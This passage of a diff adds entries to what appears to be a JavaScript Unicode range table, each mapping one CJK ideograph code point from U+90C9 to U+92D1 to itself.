+ ["\u90C9", "\u90C9"], /* CJK Ideograph */
+ ["\u90CA", "\u90CA"], /* CJK Ideograph */
+ ["\u90CB", "\u90CB"], /* CJK Ideograph */
+ ["\u90CC", "\u90CC"], /* CJK Ideograph */
+ ["\u90CD", "\u90CD"], /* CJK Ideograph */
+ ["\u90CE", "\u90CE"], /* CJK Ideograph */
+ ["\u90CF", "\u90CF"], /* CJK Ideograph */
+ ["\u90D0", "\u90D0"], /* CJK Ideograph */
+ ["\u90D1", "\u90D1"], /* CJK Ideograph */
+ ["\u90D2", "\u90D2"], /* CJK Ideograph */
+ ["\u90D3", "\u90D3"], /* CJK Ideograph */
+ ["\u90D4", "\u90D4"], /* CJK Ideograph */
+ ["\u90D5", "\u90D5"], /* CJK Ideograph */
+ ["\u90D6", "\u90D6"], /* CJK Ideograph */
+ ["\u90D7", "\u90D7"], /* CJK Ideograph */
+ ["\u90D8", "\u90D8"], /* CJK Ideograph */
+ ["\u90D9", "\u90D9"], /* CJK Ideograph */
+ ["\u90DA", "\u90DA"], /* CJK Ideograph */
+ ["\u90DB", "\u90DB"], /* CJK Ideograph */
+ ["\u90DC", "\u90DC"], /* CJK Ideograph */
+ ["\u90DD", "\u90DD"], /* CJK Ideograph */
+ ["\u90DE", "\u90DE"], /* CJK Ideograph */
+ ["\u90DF", "\u90DF"], /* CJK Ideograph */
+ ["\u90E0", "\u90E0"], /* CJK Ideograph */
+ ["\u90E1", "\u90E1"], /* CJK Ideograph */
+ ["\u90E2", "\u90E2"], /* CJK Ideograph */
+ ["\u90E3", "\u90E3"], /* CJK Ideograph */
+ ["\u90E4", "\u90E4"], /* CJK Ideograph */
+ ["\u90E5", "\u90E5"], /* CJK Ideograph */
+ ["\u90E6", "\u90E6"], /* CJK Ideograph */
+ ["\u90E7", "\u90E7"], /* CJK Ideograph */
+ ["\u90E8", "\u90E8"], /* CJK Ideograph */
+ ["\u90E9", "\u90E9"], /* CJK Ideograph */
+ ["\u90EA", "\u90EA"], /* CJK Ideograph */
+ ["\u90EB", "\u90EB"], /* CJK Ideograph */
+ ["\u90EC", "\u90EC"], /* CJK Ideograph */
+ ["\u90ED", "\u90ED"], /* CJK Ideograph */
+ ["\u90EE", "\u90EE"], /* CJK Ideograph */
+ ["\u90EF", "\u90EF"], /* CJK Ideograph */
+ ["\u90F0", "\u90F0"], /* CJK Ideograph */
+ ["\u90F1", "\u90F1"], /* CJK Ideograph */
+ ["\u90F2", "\u90F2"], /* CJK Ideograph */
+ ["\u90F3", "\u90F3"], /* CJK Ideograph */
+ ["\u90F4", "\u90F4"], /* CJK Ideograph */
+ ["\u90F5", "\u90F5"], /* CJK Ideograph */
+ ["\u90F6", "\u90F6"], /* CJK Ideograph */
+ ["\u90F7", "\u90F7"], /* CJK Ideograph */
+ ["\u90F8", "\u90F8"], /* CJK Ideograph */
+ ["\u90F9", "\u90F9"], /* CJK Ideograph */
+ ["\u90FA", "\u90FA"], /* CJK Ideograph */
+ ["\u90FB", "\u90FB"], /* CJK Ideograph */
+ ["\u90FC", "\u90FC"], /* CJK Ideograph */
+ ["\u90FD", "\u90FD"], /* CJK Ideograph */
+ ["\u90FE", "\u90FE"], /* CJK Ideograph */
+ ["\u90FF", "\u90FF"], /* CJK Ideograph */
+ ["\u9100", "\u9100"], /* CJK Ideograph */
+ ["\u9101", "\u9101"], /* CJK Ideograph */
+ ["\u9102", "\u9102"], /* CJK Ideograph */
+ ["\u9103", "\u9103"], /* CJK Ideograph */
+ ["\u9104", "\u9104"], /* CJK Ideograph */
+ ["\u9105", "\u9105"], /* CJK Ideograph */
+ ["\u9106", "\u9106"], /* CJK Ideograph */
+ ["\u9107", "\u9107"], /* CJK Ideograph */
+ ["\u9108", "\u9108"], /* CJK Ideograph */
+ ["\u9109", "\u9109"], /* CJK Ideograph */
+ ["\u910A", "\u910A"], /* CJK Ideograph */
+ ["\u910B", "\u910B"], /* CJK Ideograph */
+ ["\u910C", "\u910C"], /* CJK Ideograph */
+ ["\u910D", "\u910D"], /* CJK Ideograph */
+ ["\u910E", "\u910E"], /* CJK Ideograph */
+ ["\u910F", "\u910F"], /* CJK Ideograph */
+ ["\u9110", "\u9110"], /* CJK Ideograph */
+ ["\u9111", "\u9111"], /* CJK Ideograph */
+ ["\u9112", "\u9112"], /* CJK Ideograph */
+ ["\u9113", "\u9113"], /* CJK Ideograph */
+ ["\u9114", "\u9114"], /* CJK Ideograph */
+ ["\u9115", "\u9115"], /* CJK Ideograph */
+ ["\u9116", "\u9116"], /* CJK Ideograph */
+ ["\u9117", "\u9117"], /* CJK Ideograph */
+ ["\u9118", "\u9118"], /* CJK Ideograph */
+ ["\u9119", "\u9119"], /* CJK Ideograph */
+ ["\u911A", "\u911A"], /* CJK Ideograph */
+ ["\u911B", "\u911B"], /* CJK Ideograph */
+ ["\u911C", "\u911C"], /* CJK Ideograph */
+ ["\u911D", "\u911D"], /* CJK Ideograph */
+ ["\u911E", "\u911E"], /* CJK Ideograph */
+ ["\u911F", "\u911F"], /* CJK Ideograph */
+ ["\u9120", "\u9120"], /* CJK Ideograph */
+ ["\u9121", "\u9121"], /* CJK Ideograph */
+ ["\u9122", "\u9122"], /* CJK Ideograph */
+ ["\u9123", "\u9123"], /* CJK Ideograph */
+ ["\u9124", "\u9124"], /* CJK Ideograph */
+ ["\u9125", "\u9125"], /* CJK Ideograph */
+ ["\u9126", "\u9126"], /* CJK Ideograph */
+ ["\u9127", "\u9127"], /* CJK Ideograph */
+ ["\u9128", "\u9128"], /* CJK Ideograph */
+ ["\u9129", "\u9129"], /* CJK Ideograph */
+ ["\u912A", "\u912A"], /* CJK Ideograph */
+ ["\u912B", "\u912B"], /* CJK Ideograph */
+ ["\u912C", "\u912C"], /* CJK Ideograph */
+ ["\u912D", "\u912D"], /* CJK Ideograph */
+ ["\u912E", "\u912E"], /* CJK Ideograph */
+ ["\u912F", "\u912F"], /* CJK Ideograph */
+ ["\u9130", "\u9130"], /* CJK Ideograph */
+ ["\u9131", "\u9131"], /* CJK Ideograph */
+ ["\u9132", "\u9132"], /* CJK Ideograph */
+ ["\u9133", "\u9133"], /* CJK Ideograph */
+ ["\u9134", "\u9134"], /* CJK Ideograph */
+ ["\u9135", "\u9135"], /* CJK Ideograph */
+ ["\u9136", "\u9136"], /* CJK Ideograph */
+ ["\u9137", "\u9137"], /* CJK Ideograph */
+ ["\u9138", "\u9138"], /* CJK Ideograph */
+ ["\u9139", "\u9139"], /* CJK Ideograph */
+ ["\u913A", "\u913A"], /* CJK Ideograph */
+ ["\u913B", "\u913B"], /* CJK Ideograph */
+ ["\u913C", "\u913C"], /* CJK Ideograph */
+ ["\u913D", "\u913D"], /* CJK Ideograph */
+ ["\u913E", "\u913E"], /* CJK Ideograph */
+ ["\u913F", "\u913F"], /* CJK Ideograph */
+ ["\u9140", "\u9140"], /* CJK Ideograph */
+ ["\u9141", "\u9141"], /* CJK Ideograph */
+ ["\u9142", "\u9142"], /* CJK Ideograph */
+ ["\u9143", "\u9143"], /* CJK Ideograph */
+ ["\u9144", "\u9144"], /* CJK Ideograph */
+ ["\u9145", "\u9145"], /* CJK Ideograph */
+ ["\u9146", "\u9146"], /* CJK Ideograph */
+ ["\u9147", "\u9147"], /* CJK Ideograph */
+ ["\u9148", "\u9148"], /* CJK Ideograph */
+ ["\u9149", "\u9149"], /* CJK Ideograph */
+ ["\u914A", "\u914A"], /* CJK Ideograph */
+ ["\u914B", "\u914B"], /* CJK Ideograph */
+ ["\u914C", "\u914C"], /* CJK Ideograph */
+ ["\u914D", "\u914D"], /* CJK Ideograph */
+ ["\u914E", "\u914E"], /* CJK Ideograph */
+ ["\u914F", "\u914F"], /* CJK Ideograph */
+ ["\u9150", "\u9150"], /* CJK Ideograph */
+ ["\u9151", "\u9151"], /* CJK Ideograph */
+ ["\u9152", "\u9152"], /* CJK Ideograph */
+ ["\u9153", "\u9153"], /* CJK Ideograph */
+ ["\u9154", "\u9154"], /* CJK Ideograph */
+ ["\u9155", "\u9155"], /* CJK Ideograph */
+ ["\u9156", "\u9156"], /* CJK Ideograph */
+ ["\u9157", "\u9157"], /* CJK Ideograph */
+ ["\u9158", "\u9158"], /* CJK Ideograph */
+ ["\u9159", "\u9159"], /* CJK Ideograph */
+ ["\u915A", "\u915A"], /* CJK Ideograph */
+ ["\u915B", "\u915B"], /* CJK Ideograph */
+ ["\u915C", "\u915C"], /* CJK Ideograph */
+ ["\u915D", "\u915D"], /* CJK Ideograph */
+ ["\u915E", "\u915E"], /* CJK Ideograph */
+ ["\u915F", "\u915F"], /* CJK Ideograph */
+ ["\u9160", "\u9160"], /* CJK Ideograph */
+ ["\u9161", "\u9161"], /* CJK Ideograph */
+ ["\u9162", "\u9162"], /* CJK Ideograph */
+ ["\u9163", "\u9163"], /* CJK Ideograph */
+ ["\u9164", "\u9164"], /* CJK Ideograph */
+ ["\u9165", "\u9165"], /* CJK Ideograph */
+ ["\u9166", "\u9166"], /* CJK Ideograph */
+ ["\u9167", "\u9167"], /* CJK Ideograph */
+ ["\u9168", "\u9168"], /* CJK Ideograph */
+ ["\u9169", "\u9169"], /* CJK Ideograph */
+ ["\u916A", "\u916A"], /* CJK Ideograph */
+ ["\u916B", "\u916B"], /* CJK Ideograph */
+ ["\u916C", "\u916C"], /* CJK Ideograph */
+ ["\u916D", "\u916D"], /* CJK Ideograph */
+ ["\u916E", "\u916E"], /* CJK Ideograph */
+ ["\u916F", "\u916F"], /* CJK Ideograph */
+ ["\u9170", "\u9170"], /* CJK Ideograph */
+ ["\u9171", "\u9171"], /* CJK Ideograph */
+ ["\u9172", "\u9172"], /* CJK Ideograph */
+ ["\u9173", "\u9173"], /* CJK Ideograph */
+ ["\u9174", "\u9174"], /* CJK Ideograph */
+ ["\u9175", "\u9175"], /* CJK Ideograph */
+ ["\u9176", "\u9176"], /* CJK Ideograph */
+ ["\u9177", "\u9177"], /* CJK Ideograph */
+ ["\u9178", "\u9178"], /* CJK Ideograph */
+ ["\u9179", "\u9179"], /* CJK Ideograph */
+ ["\u917A", "\u917A"], /* CJK Ideograph */
+ ["\u917B", "\u917B"], /* CJK Ideograph */
+ ["\u917C", "\u917C"], /* CJK Ideograph */
+ ["\u917D", "\u917D"], /* CJK Ideograph */
+ ["\u917E", "\u917E"], /* CJK Ideograph */
+ ["\u917F", "\u917F"], /* CJK Ideograph */
+ ["\u9180", "\u9180"], /* CJK Ideograph */
+ ["\u9181", "\u9181"], /* CJK Ideograph */
+ ["\u9182", "\u9182"], /* CJK Ideograph */
+ ["\u9183", "\u9183"], /* CJK Ideograph */
+ ["\u9184", "\u9184"], /* CJK Ideograph */
+ ["\u9185", "\u9185"], /* CJK Ideograph */
+ ["\u9186", "\u9186"], /* CJK Ideograph */
+ ["\u9187", "\u9187"], /* CJK Ideograph */
+ ["\u9188", "\u9188"], /* CJK Ideograph */
+ ["\u9189", "\u9189"], /* CJK Ideograph */
+ ["\u918A", "\u918A"], /* CJK Ideograph */
+ ["\u918B", "\u918B"], /* CJK Ideograph */
+ ["\u918C", "\u918C"], /* CJK Ideograph */
+ ["\u918D", "\u918D"], /* CJK Ideograph */
+ ["\u918E", "\u918E"], /* CJK Ideograph */
+ ["\u918F", "\u918F"], /* CJK Ideograph */
+ ["\u9190", "\u9190"], /* CJK Ideograph */
+ ["\u9191", "\u9191"], /* CJK Ideograph */
+ ["\u9192", "\u9192"], /* CJK Ideograph */
+ ["\u9193", "\u9193"], /* CJK Ideograph */
+ ["\u9194", "\u9194"], /* CJK Ideograph */
+ ["\u9195", "\u9195"], /* CJK Ideograph */
+ ["\u9196", "\u9196"], /* CJK Ideograph */
+ ["\u9197", "\u9197"], /* CJK Ideograph */
+ ["\u9198", "\u9198"], /* CJK Ideograph */
+ ["\u9199", "\u9199"], /* CJK Ideograph */
+ ["\u919A", "\u919A"], /* CJK Ideograph */
+ ["\u919B", "\u919B"], /* CJK Ideograph */
+ ["\u919C", "\u919C"], /* CJK Ideograph */
+ ["\u919D", "\u919D"], /* CJK Ideograph */
+ ["\u919E", "\u919E"], /* CJK Ideograph */
+ ["\u919F", "\u919F"], /* CJK Ideograph */
+ ["\u91A0", "\u91A0"], /* CJK Ideograph */
+ ["\u91A1", "\u91A1"], /* CJK Ideograph */
+ ["\u91A2", "\u91A2"], /* CJK Ideograph */
+ ["\u91A3", "\u91A3"], /* CJK Ideograph */
+ ["\u91A4", "\u91A4"], /* CJK Ideograph */
+ ["\u91A5", "\u91A5"], /* CJK Ideograph */
+ ["\u91A6", "\u91A6"], /* CJK Ideograph */
+ ["\u91A7", "\u91A7"], /* CJK Ideograph */
+ ["\u91A8", "\u91A8"], /* CJK Ideograph */
+ ["\u91A9", "\u91A9"], /* CJK Ideograph */
+ ["\u91AA", "\u91AA"], /* CJK Ideograph */
+ ["\u91AB", "\u91AB"], /* CJK Ideograph */
+ ["\u91AC", "\u91AC"], /* CJK Ideograph */
+ ["\u91AD", "\u91AD"], /* CJK Ideograph */
+ ["\u91AE", "\u91AE"], /* CJK Ideograph */
+ ["\u91AF", "\u91AF"], /* CJK Ideograph */
+ ["\u91B0", "\u91B0"], /* CJK Ideograph */
+ ["\u91B1", "\u91B1"], /* CJK Ideograph */
+ ["\u91B2", "\u91B2"], /* CJK Ideograph */
+ ["\u91B3", "\u91B3"], /* CJK Ideograph */
+ ["\u91B4", "\u91B4"], /* CJK Ideograph */
+ ["\u91B5", "\u91B5"], /* CJK Ideograph */
+ ["\u91B6", "\u91B6"], /* CJK Ideograph */
+ ["\u91B7", "\u91B7"], /* CJK Ideograph */
+ ["\u91B8", "\u91B8"], /* CJK Ideograph */
+ ["\u91B9", "\u91B9"], /* CJK Ideograph */
+ ["\u91BA", "\u91BA"], /* CJK Ideograph */
+ ["\u91BB", "\u91BB"], /* CJK Ideograph */
+ ["\u91BC", "\u91BC"], /* CJK Ideograph */
+ ["\u91BD", "\u91BD"], /* CJK Ideograph */
+ ["\u91BE", "\u91BE"], /* CJK Ideograph */
+ ["\u91BF", "\u91BF"], /* CJK Ideograph */
+ ["\u91C0", "\u91C0"], /* CJK Ideograph */
+ ["\u91C1", "\u91C1"], /* CJK Ideograph */
+ ["\u91C2", "\u91C2"], /* CJK Ideograph */
+ ["\u91C3", "\u91C3"], /* CJK Ideograph */
+ ["\u91C4", "\u91C4"], /* CJK Ideograph */
+ ["\u91C5", "\u91C5"], /* CJK Ideograph */
+ ["\u91C6", "\u91C6"], /* CJK Ideograph */
+ ["\u91C7", "\u91C7"], /* CJK Ideograph */
+ ["\u91C8", "\u91C8"], /* CJK Ideograph */
+ ["\u91C9", "\u91C9"], /* CJK Ideograph */
+ ["\u91CA", "\u91CA"], /* CJK Ideograph */
+ ["\u91CB", "\u91CB"], /* CJK Ideograph */
+ ["\u91CC", "\u91CC"], /* CJK Ideograph */
+ ["\u91CD", "\u91CD"], /* CJK Ideograph */
+ ["\u91CE", "\u91CE"], /* CJK Ideograph */
+ ["\u91CF", "\u91CF"], /* CJK Ideograph */
+ ["\u91D0", "\u91D0"], /* CJK Ideograph */
+ ["\u91D1", "\u91D1"], /* CJK Ideograph */
+ ["\u91D2", "\u91D2"], /* CJK Ideograph */
+ ["\u91D3", "\u91D3"], /* CJK Ideograph */
+ ["\u91D4", "\u91D4"], /* CJK Ideograph */
+ ["\u91D5", "\u91D5"], /* CJK Ideograph */
+ ["\u91D6", "\u91D6"], /* CJK Ideograph */
+ ["\u91D7", "\u91D7"], /* CJK Ideograph */
+ ["\u91D8", "\u91D8"], /* CJK Ideograph */
+ ["\u91D9", "\u91D9"], /* CJK Ideograph */
+ ["\u91DA", "\u91DA"], /* CJK Ideograph */
+ ["\u91DB", "\u91DB"], /* CJK Ideograph */
+ ["\u91DC", "\u91DC"], /* CJK Ideograph */
+ ["\u91DD", "\u91DD"], /* CJK Ideograph */
+ ["\u91DE", "\u91DE"], /* CJK Ideograph */
+ ["\u91DF", "\u91DF"], /* CJK Ideograph */
+ ["\u91E0", "\u91E0"], /* CJK Ideograph */
+ ["\u91E1", "\u91E1"], /* CJK Ideograph */
+ ["\u91E2", "\u91E2"], /* CJK Ideograph */
+ ["\u91E3", "\u91E3"], /* CJK Ideograph */
+ ["\u91E4", "\u91E4"], /* CJK Ideograph */
+ ["\u91E5", "\u91E5"], /* CJK Ideograph */
+ ["\u91E6", "\u91E6"], /* CJK Ideograph */
+ ["\u91E7", "\u91E7"], /* CJK Ideograph */
+ ["\u91E8", "\u91E8"], /* CJK Ideograph */
+ ["\u91E9", "\u91E9"], /* CJK Ideograph */
+ ["\u91EA", "\u91EA"], /* CJK Ideograph */
+ ["\u91EB", "\u91EB"], /* CJK Ideograph */
+ ["\u91EC", "\u91EC"], /* CJK Ideograph */
+ ["\u91ED", "\u91ED"], /* CJK Ideograph */
+ ["\u91EE", "\u91EE"], /* CJK Ideograph */
+ ["\u91EF", "\u91EF"], /* CJK Ideograph */
+ ["\u91F0", "\u91F0"], /* CJK Ideograph */
+ ["\u91F1", "\u91F1"], /* CJK Ideograph */
+ ["\u91F2", "\u91F2"], /* CJK Ideograph */
+ ["\u91F3", "\u91F3"], /* CJK Ideograph */
+ ["\u91F4", "\u91F4"], /* CJK Ideograph */
+ ["\u91F5", "\u91F5"], /* CJK Ideograph */
+ ["\u91F6", "\u91F6"], /* CJK Ideograph */
+ ["\u91F7", "\u91F7"], /* CJK Ideograph */
+ ["\u91F8", "\u91F8"], /* CJK Ideograph */
+ ["\u91F9", "\u91F9"], /* CJK Ideograph */
+ ["\u91FA", "\u91FA"], /* CJK Ideograph */
+ ["\u91FB", "\u91FB"], /* CJK Ideograph */
+ ["\u91FC", "\u91FC"], /* CJK Ideograph */
+ ["\u91FD", "\u91FD"], /* CJK Ideograph */
+ ["\u91FE", "\u91FE"], /* CJK Ideograph */
+ ["\u91FF", "\u91FF"], /* CJK Ideograph */
+ ["\u9200", "\u9200"], /* CJK Ideograph */
+ ["\u9201", "\u9201"], /* CJK Ideograph */
+ ["\u9202", "\u9202"], /* CJK Ideograph */
+ ["\u9203", "\u9203"], /* CJK Ideograph */
+ ["\u9204", "\u9204"], /* CJK Ideograph */
+ ["\u9205", "\u9205"], /* CJK Ideograph */
+ ["\u9206", "\u9206"], /* CJK Ideograph */
+ ["\u9207", "\u9207"], /* CJK Ideograph */
+ ["\u9208", "\u9208"], /* CJK Ideograph */
+ ["\u9209", "\u9209"], /* CJK Ideograph */
+ ["\u920A", "\u920A"], /* CJK Ideograph */
+ ["\u920B", "\u920B"], /* CJK Ideograph */
+ ["\u920C", "\u920C"], /* CJK Ideograph */
+ ["\u920D", "\u920D"], /* CJK Ideograph */
+ ["\u920E", "\u920E"], /* CJK Ideograph */
+ ["\u920F", "\u920F"], /* CJK Ideograph */
+ ["\u9210", "\u9210"], /* CJK Ideograph */
+ ["\u9211", "\u9211"], /* CJK Ideograph */
+ ["\u9212", "\u9212"], /* CJK Ideograph */
+ ["\u9213", "\u9213"], /* CJK Ideograph */
+ ["\u9214", "\u9214"], /* CJK Ideograph */
+ ["\u9215", "\u9215"], /* CJK Ideograph */
+ ["\u9216", "\u9216"], /* CJK Ideograph */
+ ["\u9217", "\u9217"], /* CJK Ideograph */
+ ["\u9218", "\u9218"], /* CJK Ideograph */
+ ["\u9219", "\u9219"], /* CJK Ideograph */
+ ["\u921A", "\u921A"], /* CJK Ideograph */
+ ["\u921B", "\u921B"], /* CJK Ideograph */
+ ["\u921C", "\u921C"], /* CJK Ideograph */
+ ["\u921D", "\u921D"], /* CJK Ideograph */
+ ["\u921E", "\u921E"], /* CJK Ideograph */
+ ["\u921F", "\u921F"], /* CJK Ideograph */
+ ["\u9220", "\u9220"], /* CJK Ideograph */
+ ["\u9221", "\u9221"], /* CJK Ideograph */
+ ["\u9222", "\u9222"], /* CJK Ideograph */
+ ["\u9223", "\u9223"], /* CJK Ideograph */
+ ["\u9224", "\u9224"], /* CJK Ideograph */
+ ["\u9225", "\u9225"], /* CJK Ideograph */
+ ["\u9226", "\u9226"], /* CJK Ideograph */
+ ["\u9227", "\u9227"], /* CJK Ideograph */
+ ["\u9228", "\u9228"], /* CJK Ideograph */
+ ["\u9229", "\u9229"], /* CJK Ideograph */
+ ["\u922A", "\u922A"], /* CJK Ideograph */
+ ["\u922B", "\u922B"], /* CJK Ideograph */
+ ["\u922C", "\u922C"], /* CJK Ideograph */
+ ["\u922D", "\u922D"], /* CJK Ideograph */
+ ["\u922E", "\u922E"], /* CJK Ideograph */
+ ["\u922F", "\u922F"], /* CJK Ideograph */
+ ["\u9230", "\u9230"], /* CJK Ideograph */
+ ["\u9231", "\u9231"], /* CJK Ideograph */
+ ["\u9232", "\u9232"], /* CJK Ideograph */
+ ["\u9233", "\u9233"], /* CJK Ideograph */
+ ["\u9234", "\u9234"], /* CJK Ideograph */
+ ["\u9235", "\u9235"], /* CJK Ideograph */
+ ["\u9236", "\u9236"], /* CJK Ideograph */
+ ["\u9237", "\u9237"], /* CJK Ideograph */
+ ["\u9238", "\u9238"], /* CJK Ideograph */
+ ["\u9239", "\u9239"], /* CJK Ideograph */
+ ["\u923A", "\u923A"], /* CJK Ideograph */
+ ["\u923B", "\u923B"], /* CJK Ideograph */
+ ["\u923C", "\u923C"], /* CJK Ideograph */
+ ["\u923D", "\u923D"], /* CJK Ideograph */
+ ["\u923E", "\u923E"], /* CJK Ideograph */
+ ["\u923F", "\u923F"], /* CJK Ideograph */
+ ["\u9240", "\u9240"], /* CJK Ideograph */
+ ["\u9241", "\u9241"], /* CJK Ideograph */
+ ["\u9242", "\u9242"], /* CJK Ideograph */
+ ["\u9243", "\u9243"], /* CJK Ideograph */
+ ["\u9244", "\u9244"], /* CJK Ideograph */
+ ["\u9245", "\u9245"], /* CJK Ideograph */
+ ["\u9246", "\u9246"], /* CJK Ideograph */
+ ["\u9247", "\u9247"], /* CJK Ideograph */
+ ["\u9248", "\u9248"], /* CJK Ideograph */
+ ["\u9249", "\u9249"], /* CJK Ideograph */
+ ["\u924A", "\u924A"], /* CJK Ideograph */
+ ["\u924B", "\u924B"], /* CJK Ideograph */
+ ["\u924C", "\u924C"], /* CJK Ideograph */
+ ["\u924D", "\u924D"], /* CJK Ideograph */
+ ["\u924E", "\u924E"], /* CJK Ideograph */
+ ["\u924F", "\u924F"], /* CJK Ideograph */
+ ["\u9250", "\u9250"], /* CJK Ideograph */
+ ["\u9251", "\u9251"], /* CJK Ideograph */
+ ["\u9252", "\u9252"], /* CJK Ideograph */
+ ["\u9253", "\u9253"], /* CJK Ideograph */
+ ["\u9254", "\u9254"], /* CJK Ideograph */
+ ["\u9255", "\u9255"], /* CJK Ideograph */
+ ["\u9256", "\u9256"], /* CJK Ideograph */
+ ["\u9257", "\u9257"], /* CJK Ideograph */
+ ["\u9258", "\u9258"], /* CJK Ideograph */
+ ["\u9259", "\u9259"], /* CJK Ideograph */
+ ["\u925A", "\u925A"], /* CJK Ideograph */
+ ["\u925B", "\u925B"], /* CJK Ideograph */
+ ["\u925C", "\u925C"], /* CJK Ideograph */
+ ["\u925D", "\u925D"], /* CJK Ideograph */
+ ["\u925E", "\u925E"], /* CJK Ideograph */
+ ["\u925F", "\u925F"], /* CJK Ideograph */
+ ["\u9260", "\u9260"], /* CJK Ideograph */
+ ["\u9261", "\u9261"], /* CJK Ideograph */
+ ["\u9262", "\u9262"], /* CJK Ideograph */
+ ["\u9263", "\u9263"], /* CJK Ideograph */
+ ["\u9264", "\u9264"], /* CJK Ideograph */
+ ["\u9265", "\u9265"], /* CJK Ideograph */
+ ["\u9266", "\u9266"], /* CJK Ideograph */
+ ["\u9267", "\u9267"], /* CJK Ideograph */
+ ["\u9268", "\u9268"], /* CJK Ideograph */
+ ["\u9269", "\u9269"], /* CJK Ideograph */
+ ["\u926A", "\u926A"], /* CJK Ideograph */
+ ["\u926B", "\u926B"], /* CJK Ideograph */
+ ["\u926C", "\u926C"], /* CJK Ideograph */
+ ["\u926D", "\u926D"], /* CJK Ideograph */
+ ["\u926E", "\u926E"], /* CJK Ideograph */
+ ["\u926F", "\u926F"], /* CJK Ideograph */
+ ["\u9270", "\u9270"], /* CJK Ideograph */
+ ["\u9271", "\u9271"], /* CJK Ideograph */
+ ["\u9272", "\u9272"], /* CJK Ideograph */
+ ["\u9273", "\u9273"], /* CJK Ideograph */
+ ["\u9274", "\u9274"], /* CJK Ideograph */
+ ["\u9275", "\u9275"], /* CJK Ideograph */
+ ["\u9276", "\u9276"], /* CJK Ideograph */
+ ["\u9277", "\u9277"], /* CJK Ideograph */
+ ["\u9278", "\u9278"], /* CJK Ideograph */
+ ["\u9279", "\u9279"], /* CJK Ideograph */
+ ["\u927A", "\u927A"], /* CJK Ideograph */
+ ["\u927B", "\u927B"], /* CJK Ideograph */
+ ["\u927C", "\u927C"], /* CJK Ideograph */
+ ["\u927D", "\u927D"], /* CJK Ideograph */
+ ["\u927E", "\u927E"], /* CJK Ideograph */
+ ["\u927F", "\u927F"], /* CJK Ideograph */
+ ["\u9280", "\u9280"], /* CJK Ideograph */
+ ["\u9281", "\u9281"], /* CJK Ideograph */
+ ["\u9282", "\u9282"], /* CJK Ideograph */
+ ["\u9283", "\u9283"], /* CJK Ideograph */
+ ["\u9284", "\u9284"], /* CJK Ideograph */
+ ["\u9285", "\u9285"], /* CJK Ideograph */
+ ["\u9286", "\u9286"], /* CJK Ideograph */
+ ["\u9287", "\u9287"], /* CJK Ideograph */
+ ["\u9288", "\u9288"], /* CJK Ideograph */
+ ["\u9289", "\u9289"], /* CJK Ideograph */
+ ["\u928A", "\u928A"], /* CJK Ideograph */
+ ["\u928B", "\u928B"], /* CJK Ideograph */
+ ["\u928C", "\u928C"], /* CJK Ideograph */
+ ["\u928D", "\u928D"], /* CJK Ideograph */
+ ["\u928E", "\u928E"], /* CJK Ideograph */
+ ["\u928F", "\u928F"], /* CJK Ideograph */
+ ["\u9290", "\u9290"], /* CJK Ideograph */
+ ["\u9291", "\u9291"], /* CJK Ideograph */
+ ["\u9292", "\u9292"], /* CJK Ideograph */
+ ["\u9293", "\u9293"], /* CJK Ideograph */
+ ["\u9294", "\u9294"], /* CJK Ideograph */
+ ["\u9295", "\u9295"], /* CJK Ideograph */
+ ["\u9296", "\u9296"], /* CJK Ideograph */
+ ["\u9297", "\u9297"], /* CJK Ideograph */
+ ["\u9298", "\u9298"], /* CJK Ideograph */
+ ["\u9299", "\u9299"], /* CJK Ideograph */
+ ["\u929A", "\u929A"], /* CJK Ideograph */
+ ["\u929B", "\u929B"], /* CJK Ideograph */
+ ["\u929C", "\u929C"], /* CJK Ideograph */
+ ["\u929D", "\u929D"], /* CJK Ideograph */
+ ["\u929E", "\u929E"], /* CJK Ideograph */
+ ["\u929F", "\u929F"], /* CJK Ideograph */
+ ["\u92A0", "\u92A0"], /* CJK Ideograph */
+ ["\u92A1", "\u92A1"], /* CJK Ideograph */
+ ["\u92A2", "\u92A2"], /* CJK Ideograph */
+ ["\u92A3", "\u92A3"], /* CJK Ideograph */
+ ["\u92A4", "\u92A4"], /* CJK Ideograph */
+ ["\u92A5", "\u92A5"], /* CJK Ideograph */
+ ["\u92A6", "\u92A6"], /* CJK Ideograph */
+ ["\u92A7", "\u92A7"], /* CJK Ideograph */
+ ["\u92A8", "\u92A8"], /* CJK Ideograph */
+ ["\u92A9", "\u92A9"], /* CJK Ideograph */
+ ["\u92AA", "\u92AA"], /* CJK Ideograph */
+ ["\u92AB", "\u92AB"], /* CJK Ideograph */
+ ["\u92AC", "\u92AC"], /* CJK Ideograph */
+ ["\u92AD", "\u92AD"], /* CJK Ideograph */
+ ["\u92AE", "\u92AE"], /* CJK Ideograph */
+ ["\u92AF", "\u92AF"], /* CJK Ideograph */
+ ["\u92B0", "\u92B0"], /* CJK Ideograph */
+ ["\u92B1", "\u92B1"], /* CJK Ideograph */
+ ["\u92B2", "\u92B2"], /* CJK Ideograph */
+ ["\u92B3", "\u92B3"], /* CJK Ideograph */
+ ["\u92B4", "\u92B4"], /* CJK Ideograph */
+ ["\u92B5", "\u92B5"], /* CJK Ideograph */
+ ["\u92B6", "\u92B6"], /* CJK Ideograph */
+ ["\u92B7", "\u92B7"], /* CJK Ideograph */
+ ["\u92B8", "\u92B8"], /* CJK Ideograph */
+ ["\u92B9", "\u92B9"], /* CJK Ideograph */
+ ["\u92BA", "\u92BA"], /* CJK Ideograph */
+ ["\u92BB", "\u92BB"], /* CJK Ideograph */
+ ["\u92BC", "\u92BC"], /* CJK Ideograph */
+ ["\u92BD", "\u92BD"], /* CJK Ideograph */
+ ["\u92BE", "\u92BE"], /* CJK Ideograph */
+ ["\u92BF", "\u92BF"], /* CJK Ideograph */
+ ["\u92C0", "\u92C0"], /* CJK Ideograph */
+ ["\u92C1", "\u92C1"], /* CJK Ideograph */
+ ["\u92C2", "\u92C2"], /* CJK Ideograph */
+ ["\u92C3", "\u92C3"], /* CJK Ideograph */
+ ["\u92C4", "\u92C4"], /* CJK Ideograph */
+ ["\u92C5", "\u92C5"], /* CJK Ideograph */
+ ["\u92C6", "\u92C6"], /* CJK Ideograph */
+ ["\u92C7", "\u92C7"], /* CJK Ideograph */
+ ["\u92C8", "\u92C8"], /* CJK Ideograph */
+ ["\u92C9", "\u92C9"], /* CJK Ideograph */
+ ["\u92CA", "\u92CA"], /* CJK Ideograph */
+ ["\u92CB", "\u92CB"], /* CJK Ideograph */
+ ["\u92CC", "\u92CC"], /* CJK Ideograph */
+ ["\u92CD", "\u92CD"], /* CJK Ideograph */
+ ["\u92CE", "\u92CE"], /* CJK Ideograph */
+ ["\u92CF", "\u92CF"], /* CJK Ideograph */
+ ["\u92D0", "\u92D0"], /* CJK Ideograph */
+ ["\u92D1", "\u92D1"], /* CJK Ideograph */
